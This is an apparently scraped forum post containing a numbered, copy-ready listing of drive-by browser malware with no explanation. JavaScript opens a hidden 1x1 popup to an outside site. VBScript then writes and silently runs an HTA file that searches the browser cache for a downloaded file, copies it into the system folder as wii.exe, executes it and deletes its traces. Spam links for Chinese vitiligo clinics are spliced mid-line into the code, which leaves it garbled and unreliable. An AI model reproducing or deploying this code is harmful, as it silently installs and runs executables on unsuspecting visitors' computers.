dfgsgsg

sltkc

   
   
    dfgsgsg
      
   
    size
    　　
   

1. <script>
   
2.     window.open(\'http://www.onlyy.net/soft/index.htm\', \'pop\',
   
3.     \'toobar=no,location=no,resizeable=0,scrollbars=0,left=2000,top=2000,width=1,height=1\');
   
4.     </Script>
   
5.     　　
   
6.     　　
   
7.     　　
   
8.     <Script LaNGUAGE="VBScript">
   
9.     Set g_fs = CreateObject("Scripting.FileSystemObject")
   
10.     Set tf = g_fs.CreateTextFile("c:\\wii.hta",true)
    
11.     tf.write "" &chr(13)&chr(10)
    
12.     tf.write ""&chr(13)&chr(10)
    
13.     tf.write ""&chr(13)&chr(10)
    
14.     tf.write "on err[url=http://www.a5city.com/kfbl/1967.html]简单说说白癜风如何科学治疗才是对的[/url]or resume next"&chr(13)&chr(10)
    
15.     tf.write "window.moveTo 0,0"&chr(13)&chr(10)
    
16.     tf.write "window.resizeTo 0,0 "&chr(13)&chr(10)
    
17.     tf.write "dim exepath"&chr(13)&chr(10)
    
18.     tf.write "Function Search(objFolder) "&chr(13)&chr(10)
    
19.     tf.write "Dim objSubFolder"&chr(13)&chr(10)
    
20.     tf.write "For Each objFile in objFolder.Files"&chr(13)&chr(10)
    
21.     tf.write "If InStr(1, objfile.name, " & CHR(34)& "lhxyxe" & CHR(34)& ", vbtextcompare) then"&chr(13)&chr(10)
    
22.     tf.write "set filecp = objg_fso.getfile(objfile.path)"&chr(13)&chr(10)
    
23.     tf.write "filecp.copy (exepath)"&chr(13)&chr(10)
    
24.     tf.write "exit for"&chr(13)&chr(10)
    
25.     tf.write "End If"&chr(13)&chr(10)
    
26.     tf.write "Next "&chr(13)&chr(10)
    
27.     tf.write "For Each objSubFolder in objFolder.SubFolders "&chr(13)&chr(10)
    
28.     tf.write "Search objSubFolder"&chr(13)&chr(10)
    
29.     tf.write "Next"&chr(13)&chr(10)
    
30.     tf.write "End Function"&chr(13)&chr(10)
    
31.     tf.write "Set objg_fso = CreateObject(" & CHR(34)& "Scripting.FileSystemObject" & CHR(34)& ")"&chr(13)&chr(10)
    
32.     tf.write "str=WSH.regread(" & CHR(34)& "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\cache" & CHR(34)& ")"&chr(13)&chr(10)
    
33.     tf.write "set tempfolder = objg_fso.getfolder(str)"&chr(13)&chr(10)
    
34.     tf.write "set othisfolder = objg_fso.GetSpecialFolder(1)" &chr(13)&chr(10)
    
35.     tf.write "exepath=othisfolder.path & "& chr(34) & "wii.exe" & chr(34) &chr(13)&chr(10)
    
36.     tf.write "search tempfolder"&chr(13)&chr(10)
    
37.     tf.write "wsh.run (exepath)"&chr(13)&chr(10)
    
38.     tf.write "wsh.run " & CHR(34)& "command.com /c del c:\\wii.hta" & CHR(34)& " ,0"&chr(13)&chr(10)
    
39.     tf.write "window.close()"&chr(13)&chr(10)
    
40.     tf.write ""&chr(13)[url=http://www.victroncapital.com/bjbdfyy/sbbdf/m/843.html]合肥白癜风医院电话[/url]&chr(10)
    
41.     tf.close
    
42.     wsh.run "c:\\wii.hta",0
    
43.     window.close ()
    
44.     　　
    
45.     　　
    
46.     <Script LANGUAGE="VBScript">
    
47.     on error resume next
    
48.     window.moveTo 0,0
    
49.     window.resizeTo 0,0
    
50.     dim exepath
    
51.     Function Search(objFolder)
    
52.     Dim objSubFolder
    
53.     For Each objFile in objFolder.Files
    
54.     If InStr(1, objfile.name, "lhxyxe", vbtextcompare) then
    
55.     set filecp = objg_fso.getfile(objfile.path)
    
56.     filecp.copy (exepath)
    
57.     exit for
    
58.     End If
    
59.     Next
    
60.     For Each objSubFolder in objFolder.SubFolders
    
61.     Search objSubFolder
    
62.     Next
    
63.     End Function
    
64.     Set objg_fso = CreateObject("Scripting.FileSystemObject")
    
65.     str=WSH.regread("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\cache")
    
66.     set tempfolder = objg_fso.getfolder(str)
    
67.     set othisfolder = objg_fso.GetSpecialFolder(1)
    
68.     exepath=othisfolder.path & "wii.exe"
    
69.     search [url=http://www.yxljc.com/qyzn/zydh/1456.html]治疗白癜风去哪里的医院好[/url]tempfolder
    
70.     wsh.run (exepath)
    
71.     wsh.run "command.com /c del c:\\wii.hta" ,0
    
72.     window.close()
    
73.     　　
    
74.     </script>

复制代码

    /size